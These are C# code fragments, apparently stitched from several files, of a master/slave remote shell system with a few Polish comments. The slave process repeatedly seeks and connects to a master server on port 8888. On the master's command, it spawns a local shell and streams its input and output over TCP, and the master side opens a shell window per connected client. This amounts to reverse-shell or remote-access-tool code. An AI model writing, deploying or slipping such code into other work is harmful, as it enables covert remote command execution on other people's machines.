// Not sure how to approach this public Shell Process() { if (!ConnectedClients.ContainsKey(Packet.ClientUniqueId)) { ShellConnectedPacket result_fail = new ShellConnectedPacket(Packet.ClientUniqueId, Guid.Empty, false); Connection.SendPacket(result_fail); return(null); } // Open a new local shell Shell shell = new Shell(); // Connect shell pipe TcpConnection shell_conn = new TcpConnection(); if (!shell_conn.Connect(MasterServer_Info.Address.ToString(), MasterServer_Info.Port)) { ShellConnectedPacket result_fail = new ShellConnectedPacket(Packet.ClientUniqueId, Guid.Empty, false); Connection.SendPacket(result_fail); return(null); } ConnectPipePacket connectPipePacket = new ConnectPipePacket(Packet.ClientUniqueId, PipeType.Shell); shell_conn.SendPacket(connectPipePacket); shell.Connection = shell_conn; ShellConnectedPacket result_success = new ShellConnectedPacket(Packet.ClientUniqueId, shell.UniqueId, true); shell_conn.SendPacket(result_success); return(shell); }
public ConnectPipePacket_PacketProcessor(TcpConnection connection, ConnectPipePacket packet, Client client) { Connection = connection; Packet = packet; ConnectedClients = new Dictionary <Guid, Client> { { client.UniqueId, client } }; }
public override void HandlePacket(object sender, string packet_raw) { Packet packet = Packet.Deserialize(packet_raw); if (packet.Type == "ConnectPipePacket") { ConnectPipePacket_PacketProcessor connectPipePacket_PacketProcessor = new ConnectPipePacket_PacketProcessor(Connection, ConnectPipePacket.Deserialize(packet_raw), new Dictionary <Guid, Client> { { SlaveGlobalData.LocalClient.UniqueId, SlaveGlobalData.LocalClient } }); connectPipePacket_PacketProcessor.Process(); return; } if (packet.Type == "DisconnectPipePacket") { DisconnectPipePacket_PacketProcessor disconnectPipePacket_PacketProcessor = new DisconnectPipePacket_PacketProcessor(Connection, DisconnectPipePacket.Deserialize(packet_raw), new Dictionary <Guid, Client> { { SlaveGlobalData.LocalClient.UniqueId, SlaveGlobalData.LocalClient } }); disconnectPipePacket_PacketProcessor.Process(); return; } if (packet.Type == "ConnectShellPacket") { ConnectShellPacket_PacketProcessor connectShellPacket_PacketProcessor = new ConnectShellPacket_PacketProcessor(Connection, ConnectShellPacket.Deserialize(packet_raw), new Dictionary <Guid, Client> { { SlaveGlobalData.LocalClient.UniqueId, SlaveGlobalData.LocalClient } }, SlaveGlobalData.MasterServerInfo.RemoteServer); Shell shell = connectShellPacket_PacketProcessor.Process(); if (shell == null) { return; // fuckup } SlaveGlobalData.ShellListenerLoop = new PacketListenerLoop(shell.Connection, new Shell_PacketHandler(shell.Connection, SlaveGlobalData.LocalClient, shell)); SlaveGlobalData.ShellInstance = shell; SlaveGlobalData.ShellOutputChangedHandler = (s, e) => { Shell_IO_ChangedPacket shell_IO_Changed = new Shell_IO_ChangedPacket(ChangeType.Output, e.Change); shell.Connection.SendPacket(shell_IO_Changed); }; shell.ShellOutputChanged += SlaveGlobalData.ShellOutputChangedHandler; Task.Run(() => SlaveGlobalData.ShellListenerLoop.Run()); } }
static void Main(string[] args) { MasterFinder.RunInit(new ConnectionSettings(8888)); Console.WriteLine("-- Master Finder running"); while (true) { SlaveGlobalData.PingService = new PingService(new Dictionary <Guid, Client>()); MasterServerInfo inf = MasterFinder.ConnectToMasterServer(); if (inf.HasValues) { SlaveGlobalData.MasterServerInfo = inf; SlaveGlobalData.LocalClient = inf.LocalClient; SlaveGlobalData.MainListenerLoop = new PacketListenerLoop(inf.MainConnection, new Slave_PacketHandler(inf.MainConnection)); Console.WriteLine("Authentication complete."); Console.WriteLine($"Assigned Id: {inf.LocalClient.UniqueId}"); Task.Run(() => SlaveGlobalData.MainListenerLoop.Run()); Console.WriteLine($"PacketHandler of type {SlaveGlobalData.MainListenerLoop.Handler.GetType().ToString()} has been assigned to the main connection"); Console.WriteLine($"Connecting to the master's PingService instance..."); Thread.Sleep(1000); // Connect pipe TcpConnection conn_ping = new TcpConnection(); if (conn_ping.Connect(inf.RemoteServer.Address.ToString(), inf.RemoteServer.Port)) { ConnectPipePacket connectPipePacket = new ConnectPipePacket(SlaveGlobalData.LocalClient.UniqueId, PipeType.Ping); conn_ping.SendPacket(connectPipePacket); SlaveGlobalData.LocalClient.Pipes.PingPipe = conn_ping; ClientInfo clientInfo = new ClientInfo(SlaveGlobalData.LocalClient.UniqueId, SlaveGlobalData.LocalClient, null); clientInfo.ListenerLoop = new PacketListenerLoop(SlaveGlobalData.LocalClient.Pipes.PingPipe, new Ping_PacketHandler(SlaveGlobalData.LocalClient.Pipes.PingPipe, clientInfo)); SlaveGlobalData.PingService.ConnectedClients.Add(clientInfo.ClientUniqueId, clientInfo); Task.Run(() => clientInfo.ListenerLoop.Run()); Task.Run(() => { Packet packet = new Packet(); // Send a dummy packet clientInfo.Client.Pipes.PingPipe.SendPacket(packet); Thread.Sleep(500); PingPacket pingPacket = new PingPacket(Guid.NewGuid()); clientInfo.Client.Pipes.PingPipe.SendPacket(pingPacket); }); Console.WriteLine("Connected to the master server!"); clientInfo.WaitForTimeout(); Console.WriteLine("Lost connection with the main server"); continue; } Console.WriteLine("Failed to connect to the master server!"); SlaveGlobalData.MasterServerInfo = new MasterServerInfo(); if (SlaveGlobalData.MainListenerLoop != null) { SlaveGlobalData.MainListenerLoop.AbortLoop = true; SlaveGlobalData.MainListenerLoop = null; } if (SlaveGlobalData.PingService != null) { SlaveGlobalData.PingService.AbortLoop = true; SlaveGlobalData.PingService.RemoveClient(SlaveGlobalData.LocalClient.UniqueId); } SlaveGlobalData.PingService = null; SlaveGlobalData.LocalClient = null; if (SlaveGlobalData.ShellListenerLoop != null) { SlaveGlobalData.ShellListenerLoop.AbortLoop = true; SlaveGlobalData.ShellListenerLoop = null; } if (SlaveGlobalData.ShellInstance != null) { SlaveGlobalData.ShellInstance.Stop(); SlaveGlobalData.ShellInstance = null; SlaveGlobalData.ShellOutputChangedHandler = null; } Thread.Sleep(1000); } } }
public override void HandlePacket(object sender, string packet_raw) { Packet packet = Packet.Deserialize(packet_raw); if (packet.Type == "AuthenticateConnectionPacket") { AuthenticateConnectionPacket_PacketProcessor authenticateConnectionPacket_PacketProcessor = new AuthenticateConnectionPacket_PacketProcessor(Connection, AuthenticateConnectionPacket.Deserialize(packet_raw)); Client client = authenticateConnectionPacket_PacketProcessor.Process(); MasterListener.ConnectedClients.Add(client.UniqueId, client); ///////////////////////////////////////////////////////////////////// Task.Run(() => { //Thread.Sleep(1000); //ConnectShellPacket shell_packet = new ConnectShellPacket(client.UniqueId); //client.Pipes.MainPipe.SendPacket(shell_packet); //Console.WriteLine($"Told client {client.UniqueId} to spawn a new shell."); }); ///////////////////////////////////////////////////////////////////// return; } if (packet.Type == "ConnectPipePacket") { ConnectPipePacket connectPipePacket = ConnectPipePacket.Deserialize(packet_raw); ConnectPipePacket_PacketProcessor connectPipePacket_PacketProcessor = new ConnectPipePacket_PacketProcessor(Connection, connectPipePacket, MasterListener.ConnectedClients); connectPipePacket_PacketProcessor.Process(); if (connectPipePacket.PipeType == PipeType.Ping) { // Exception in packet handling (dosłownie wyjątek, nie błąd) if (!MasterListener.ConnectedClients.ContainsKey(connectPipePacket.ClientId)) { return; } PacketListenerLoop parent_loop = sender as PacketListenerLoop; TcpConnection connection = parent_loop.Connection; parent_loop.AbortLoop = true; Task.Run(() => { // Redirect connection to the ping service MasterListener.PingService.AddClient(MasterListener.ConnectedClients[connectPipePacket.ClientId], false); MasterListener.PingService.ConnectedClients[connectPipePacket.ClientId].WaitForTimeout(); Console.WriteLine("Stop redirecting ping pipe"); Task.Run(() => parent_loop.Run()); }); } return; } if (packet.Type == "DisconnectPipePacket") { DisconnectPipePacket_PacketProcessor disconnectPipePacket_PacketProcessor = new DisconnectPipePacket_PacketProcessor(Connection, DisconnectPipePacket.Deserialize(packet_raw), MasterListener.ConnectedClients); disconnectPipePacket_PacketProcessor.Process(); return; } if (packet.Type == "ShellConnectedPacket") { // Exception in packet handling (dosłownie wyjątek, nie błąd) ShellConnectedPacket shellConnectedPacket = ShellConnectedPacket.Deserialize(packet_raw); if (!shellConnectedPacket.Success) { return; } // Redirects all packets from now on to a new packet handler PacketListenerLoop parent_loop = sender as PacketListenerLoop; TcpConnection connection = parent_loop.Connection; parent_loop.AbortLoop = true; Task.Run(() => { // Spawn a new shell emulator window ShellWindow shellWindow = new ShellWindow(shellConnectedPacket.ShellUniqueId, connection, MasterListener.ConnectedClients[shellConnectedPacket.ClientUniqueId]); shellWindow.ShowDialog(); // Stop redirecting the packets on this connection Console.WriteLine("Stop redirecting"); Task.Run(() => parent_loop.Run()); }); } }
public ConnectPipePacket_PacketProcessor(TcpConnection connection, ConnectPipePacket packet, Dictionary <Guid, Client> connectedClients) { Connection = connection; Packet = packet; ConnectedClients = connectedClients; }